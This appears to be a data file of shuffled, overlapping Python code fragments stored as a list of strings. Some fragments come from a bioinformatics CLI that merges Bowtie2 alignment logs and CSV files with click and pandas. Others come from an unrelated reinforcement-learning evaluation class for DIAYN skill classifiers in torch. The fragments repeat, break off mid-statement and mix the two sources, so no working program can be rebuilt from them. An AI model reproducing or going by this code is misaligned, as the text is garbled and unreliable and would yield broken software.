"= click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files",
"for single-end reads only. So it won't work for paired end statistics yet.",
"done using pandas so the column names must be compatible in the given",
"merges these files in one big table where each column corresponds to one",
"<reponame>ribosomeprofiling/RFCommands<gh_stars>1-10 # -*- coding: utf-8 -*- from .main import * from ..merge.bowtie2_logs import",
"individual stats coming from separate files into one. This script takes the overall",
"the corresponding counts and calculating the percentages. This version is implemented for single-end",
"single-end reads only. So it won't work for paired end statistics yet. Though",
"be at least one log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output",
"print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has to be at least",
"statistics yet. Though it is not hard to extend this script to paired-end",
"to extend this script to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if",
"format) where each file is coming from one sample only. It merges these",
"concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files Concatenates the given csvs in",
"to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There",
"is not hard to extend this script to paired-end read case. \"\"\" print(\"Merging",
"file is needed.\") merge_overall_stats( stat_files = input_stats, out = out ) ################################################################################ def",
"into one. This script takes the overall alignment stats files (in csv format)",
"the column names must be compatible in the given csv files. \"\"\" if",
"so the column names must be compatible in the given csv files. \"\"\"",
"len(input_csvs) < 1 : exit(\"At least one input file is needed.\") _concat_csv(input_csvs, out)",
"nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists",
"and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type =",
"_concat_csv( csv_file_list, output_file ): \"\"\" Helper function for concat_csv \"\"\" import pandas as",
"= click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def overall_stats(input_stats,",
"summing up the corresponding counts and calculating the percentages. This version is implemented",
"csv format) where each file is coming from one sample only. It merges",
"@click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type",
"and writes the output is written in csv format. The concatenation is done",
"the given order and writes the output is written in csv format. The",
"= False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type =",
") result_df = pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file) return result_df",
"input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs =",
"= click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats coming from",
"= True)) @click.option('--out', '-o', type = click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\"",
"coding: utf-8 -*- from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats",
"= True)) @click.option('--out', '-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\"",
"to one experiment. \"\"\" if len(input_stats) < 1 : exit(\"At least one input",
"click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files Concatenates",
"Merges logs and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1,",
"\"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has to be at",
"Combine individual stats coming from separate files into one. This script takes the",
"bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has to be at least one",
"given csvs in the given order and writes the output is written in",
"out): \"\"\" Concatenates the given csv files Concatenates the given csvs in the",
"merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type",
"implemented for single-end reads only. So it won't work for paired end statistics",
"files in one big table where each column corresponds to one experiment. \"\"\"",
"def overall_stats(input_stats, out): \"\"\" Combine individual stats coming from separate files into one.",
"): \"\"\" Helper function for concat_csv \"\"\" import pandas as pd input_dfs =",
"in the given csv files. \"\"\" if len(input_csvs) < 1 : exit(\"At least",
"lambda x : pd.read_csv(x, header = [0], index_col = [0] ), csv_file_list )",
"in one big table where each column corresponds to one experiment. \"\"\" if",
"needed.\") merge_overall_stats( stat_files = input_stats, out = out ) ################################################################################ def _concat_csv( csv_file_list,",
"extend this script to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths)",
"logs and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type",
"out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type = click.Path(exists = True)) @click.option('--out',",
"each column corresponds to one experiment. \"\"\" if len(input_stats) < 1 : exit(\"At",
"def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from Bowtie2 or Hisat2. This",
"exit(\"There has to be at least one log file as input.\") return merge_bowtie2_logs(input_logs",
"\"\"\" Concatenates the given csv files Concatenates the given csvs in the given",
"-*- from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats",
"@merge.command() @click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o',",
"output = out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type = click.Path(exists =",
"It merges these files in one big table where each column corresponds to",
"index_col = [0] ), csv_file_list ) ) result_df = pd.concat(input_dfs, axis = 0,",
"output is written in csv format. The concatenation is done using pandas so",
"least one input file is needed.\") merge_overall_stats( stat_files = input_stats, out = out",
"\"\"\" Merges logs and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs =",
"names must be compatible in the given csv files. \"\"\" if len(input_csvs) <",
"is coming from one sample only. It merges these files in one big",
"merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and csv files. \"\"\" pass @merge.command()",
"one log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command()",
"only. So it won't work for paired end statistics yet. Though it is",
"one. This script takes the overall alignment stats files (in csv format) where",
"overall alignment stats files (in csv format) where each file is coming from",
"def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function for concat_csv \"\"\" import pandas",
"as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs",
"output_file ): \"\"\" Helper function for concat_csv \"\"\" import pandas as pd input_dfs",
"stats files (in csv format) where each file is coming from one sample",
"files. \"\"\" if len(input_csvs) < 1 : exit(\"At least one input file is",
"hard to extend this script to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\")",
"axis = 0, sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs",
"'-o', type = click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats",
"= input_stats, out = out ) ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\"",
"def merge(): \"\"\" Merges logs and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\",",
"done by summing up the corresponding counts and calculating the percentages. This version",
"csv files. \"\"\" if len(input_csvs) < 1 : exit(\"At least one input file",
") ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function for concat_csv \"\"\"",
"import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and csv files. \"\"\" pass",
"csvs in the given order and writes the output is written in csv",
"given order and writes the output is written in csv format. The concatenation",
"0, sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1,",
"log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument(",
"So it won't work for paired end statistics yet. Though it is not",
"the given csv files. \"\"\" if len(input_csvs) < 1 : exit(\"At least one",
"\"input_log_paths\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type =",
"@click.argument( \"input_stats\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type",
"format. The concatenation is done using pandas so the column names must be",
"to be at least one log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths,",
"@merge.command() @click.argument( \"input_stats\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o',",
"< 1 : exit(\"At least one input file is needed.\") merge_overall_stats( stat_files =",
"these files in one big table where each column corresponds to one experiment.",
"out = out ) ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function",
"..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs",
"from Bowtie2 or Hisat2. This is done by summing up the corresponding counts",
"-1, type = click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False))",
"one sample only. It merges these files in one big table where each",
"type = click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def",
"[0], index_col = [0] ), csv_file_list ) ) result_df = pd.concat(input_dfs, axis =",
"x : pd.read_csv(x, header = [0], index_col = [0] ), csv_file_list ) )",
"list( map( lambda x : pd.read_csv(x, header = [0], index_col = [0] ),",
"This script takes the overall alignment stats files (in csv format) where each",
"== 0: exit(\"There has to be at least one log file as input.\")",
"out): \"\"\" Combine individual stats coming from separate files into one. This script",
"return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs = -1,",
"1 : exit(\"At least one input file is needed.\") merge_overall_stats( stat_files = input_stats,",
"csv_file_list ) ) result_df = pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file)",
"..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and csv files. \"\"\"",
"not hard to extend this script to paired-end read case. \"\"\" print(\"Merging bowtie2",
"be compatible in the given csv files. \"\"\" if len(input_csvs) < 1 :",
"type = click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats coming",
"separate files into one. This script takes the overall alignment stats files (in",
"\"\"\" if len(input_stats) < 1 : exit(\"At least one input file is needed.\")",
"def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files Concatenates the given csvs",
"sample only. It merges these files in one big table where each column",
"True)) @click.option('--out', '-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge",
"table where each column corresponds to one experiment. \"\"\" if len(input_stats) < 1",
"using pandas so the column names must be compatible in the given csv",
"################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function for concat_csv \"\"\" import",
"Concatenates the given csv files Concatenates the given csvs in the given order",
"\"\"\" Helper function for concat_csv \"\"\" import pandas as pd input_dfs = list(",
"script to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0:",
"version is implemented for single-end reads only. So it won't work for paired",
"end statistics yet. Though it is not hard to extend this script to",
"True)) @click.option('--out', '-o', type = click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates",
"@merge.command() @click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o',",
"Merge alignment statistics coming from Bowtie2 or Hisat2. This is done by summing",
"it won't work for paired end statistics yet. Though it is not hard",
"input_stats, out = out ) ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper",
"import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge():",
"merge(): \"\"\" Merges logs and csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs",
"False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files Concatenates the given",
"False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats coming from separate files into",
"case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has to be",
"'-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics",
"each file is coming from one sample only. It merges these files in",
"files (in csv format) where each file is coming from one sample only.",
"out ) ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function for concat_csv",
"has to be at least one log file as input.\") return merge_bowtie2_logs(input_logs =",
"writes the output is written in csv format. The concatenation is done using",
"import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and",
"pandas as pd input_dfs = list( map( lambda x : pd.read_csv(x, header =",
"\"\"\" Merge alignment statistics coming from Bowtie2 or Hisat2. This is done by",
"takes the overall alignment stats files (in csv format) where each file is",
"the given csv files Concatenates the given csvs in the given order and",
"@click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type",
"pd input_dfs = list( map( lambda x : pd.read_csv(x, header = [0], index_col",
"This is done by summing up the corresponding counts and calculating the percentages.",
": exit(\"At least one input file is needed.\") merge_overall_stats( stat_files = input_stats, out",
"one experiment. \"\"\" if len(input_stats) < 1 : exit(\"At least one input file",
"the given csvs in the given order and writes the output is written",
"@cli.group() def merge(): \"\"\" Merges logs and csv files. \"\"\" pass @merge.command() @click.argument(",
"Bowtie2 or Hisat2. This is done by summing up the corresponding counts and",
"map( lambda x : pd.read_csv(x, header = [0], index_col = [0] ), csv_file_list",
"False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists"
] |
[
"('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2",
"# verifying two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+",
"signature, message) address2 = \"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\" +",
"\"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\" + \"5eZoMSF3/fBX4zjeIN6fpXfGSGPrZyKfHQ/c/kTSP+NIwmyTzMfk=\") bv.sig_vef_P2PKH(address2, signature2, message2)",
"'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2",
"bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\"",
"\"\"\" Created on Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv",
"# -*- coding: utf-8 -*- \"\"\" Created on Wed Jul 4 22:46:11 2018",
"bv # verifying two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature =",
"-*- coding: utf-8 -*- \"\"\" Created on Wed Jul 4 22:46:11 2018 \"\"\"",
"-*- \"\"\" Created on Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as",
"= ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\"",
"2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin signed messages",
"'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 =",
"Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying two P2PKH",
"\"\"\" import BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin signed messages address",
"as bv # verifying two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature",
"two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message",
"import BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin signed messages address =",
"utf-8 -*- \"\"\" Created on Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef",
"= 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message)",
"verifying two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=')",
"4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin",
"message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 = \"test message\" signature2 =",
"address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature,",
"message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 = \"test",
"22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin signed",
"Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test",
"= \"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\" + \"5eZoMSF3/fBX4zjeIN6fpXfGSGPrZyKfHQ/c/kTSP+NIwmyTzMfk=\") bv.sig_vef_P2PKH(address2, signature2,",
"messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address,",
"'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 = \"test message\" signature2",
"BTC_P2PKH_sigvef as bv # verifying two P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce'",
"signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 =",
"address2 = \"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\" + \"5eZoMSF3/fBX4zjeIN6fpXfGSGPrZyKfHQ/c/kTSP+NIwmyTzMfk=\") bv.sig_vef_P2PKH(address2,",
"signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message = 'test message'",
"Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying two",
"P2PKH Bitcoin signed messages address = 'bitcoin:16vqGo3KRKE9kTsTZxKoJKLzwZGTodK3ce' signature = ('HPDs1TesA48a9up4QORIuub67VHBM37X66skAYz0Esg23gdfMu'+ 'CTYDFORc6XGpKZ2/flJ2h/DUF569FJxGoVZ50=') message =",
"= 'test message' bv.sig_vef_P2PKH(address, signature, message) address2 = \"<KEY>\" message2 = \"test message\"",
"message) address2 = \"<KEY>\" message2 = \"test message\" signature2 = (\"IPn9bbEdNUp6+bneZqE2YJbq9Hv5aNILq9E\" + \"5eZoMSF3/fBX4zjeIN6fpXfGSGPrZyKfHQ/c/kTSP+NIwmyTzMfk=\")",
"coding: utf-8 -*- \"\"\" Created on Wed Jul 4 22:46:11 2018 \"\"\" import",
"on Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv # verifying",
"Created on Wed Jul 4 22:46:11 2018 \"\"\" import BTC_P2PKH_sigvef as bv #"
] |
[
"self, *args, epoch, skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation( self, *args,",
") -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon)",
"skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id,",
"dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict",
"*args, next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations)",
"in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for skill_id, skill in enumerate(skill_array):",
"num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths,",
"@torch.no_grad() def apply_df( self, *args, next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations)",
"import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as",
"assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] * self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval =",
"self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for",
"list) for skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill']",
"= [] skills = [] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill",
"skill_recon, skill_id, skill, **kwargs ): pass def classifier_evaluation( self, *args, epoch, skill_recon, skill,",
"skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths =",
"from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args,",
"[] for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False",
"skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path in zip(skill_ids, skills,",
"collect_skill_influence_paths(self) -> dict: assert isinstance(self.seq_collector, MdpPathCollector) skill_array = [number for number in range(self.seq_collector._policy.skill_dim)]",
"_skill in skill]) assert isinstance(skill, list) assert skill_recon.shape[:-1] == torch.Size((len(skill), self.seq_len)) skill_recon_reshaped =",
"def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self)",
"import matplotlib.pyplot as plt import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import",
"= skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def",
") skills.append(skill) skill_ids.append(skill_id) skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for",
"class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont): def __init__(self, *args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim",
"skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs ) -> dict: next_observations =",
"= my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args, epoch,",
"skill_recon_reshaped = skill_recon.reshape(len(skill) * self.seq_len, -1) assert my_ptu.tensor_equality(skill_recon_reshaped[:self.seq_len], skill_recon[0,]) skills = torch.stack([torch.tensor(skill)] *",
"<gh_stars>0 import numpy as np import matplotlib.pyplot as plt import torch import torch.nn.functional",
"import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from",
"enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths =",
"as plt import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import",
"*args, epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill",
"def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] *",
"apply_df( self, *args, next_observations, **kwargs ) -> dict: next_observations = ptu.from_numpy(next_observations) skill_recon =",
"skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len) for _skill in skill]) assert",
"skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs )",
"skill_id, skill, path in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill",
"in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False ) skills.append(skill) skill_ids.append(skill_id) skill_influence_paths",
"number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for skill_id, skill in",
"* self.seq_len, dim=-1).reshape(len(skill) * self.seq_len) df_accuracy_eval = F.cross_entropy(skill_recon_reshaped.cpu(), skills.cpu()) self.diagno_writer.writer.writer.add_scalar( tag=self.get_log_string(\"Classifier Performance/Eval\"), scalar_value=df_accuracy_eval,",
"skill_influence_paths = self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path",
"diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util",
"*args, skill_dim, **kwargs, ): super().__init__(*args, **kwargs) self.skill_dim = skill_dim def collect_skill_influence_paths(self) -> dict:",
"import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as",
"import numpy as np import matplotlib.pyplot as plt import torch import torch.nn.functional as",
"pass def classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill]",
"classifier_evaluation( self, *args, epoch, skill_recon, skill, **kwargs ): #skills_np = np.array([np.array([_skill] * self.seq_len)",
"from rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class",
"in zip(skill_ids, skills, skill_influence_paths): path['skill_id'] = skill_id path['skill'] = skill self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths =",
"torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu",
"for number in range(self.seq_collector._policy.skill_dim)] skill_ids = [] skills = [] for skill_id, skill",
"= self.seq_collector.get_epoch_paths() skill_influence_paths = list(skill_influence_paths) assert isinstance(skill_influence_paths, list) for skill_id, skill, path in",
"rlkit.samplers.data_collector.path_collector import MdpPathCollector import self_supervised.utils.my_pytorch_util as my_ptu from seqwise_cont_skillspace.utils.get_colors import get_colors class DfEnvEvaluationDIAYN(DfEnvEvaluationDIAYNCont):",
"skill_recon = my_ptu.eval(self.df_to_evaluate, next_observations) ret_dict = dict(skill_recon=skill_recon) return ret_dict def plot_posterior( self, *args,",
"F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont import rlkit.torch.pytorch_util as ptu from rlkit.samplers.data_collector.path_collector import MdpPathCollector",
"for skill_id, skill in enumerate(skill_array): self.seq_collector._policy.skill = skill self.seq_collector.collect_new_paths( max_path_length=self.seq_len, num_steps=self.seq_len, discard_incomplete_paths=False )",
"matplotlib.pyplot as plt import torch import torch.nn.functional as F from diayn_cont.post_epoch_funcs.df_env_eval import DfEnvEvaluationDIAYNCont",
"as np import matplotlib.pyplot as plt import torch import torch.nn.functional as F from",
"self._check_skill_influence_paths(skill_influence_paths) skill_influence_paths = self._stack_paths(skill_influence_paths) return skill_influence_paths @torch.no_grad() def apply_df( self, *args, next_observations, **kwargs",
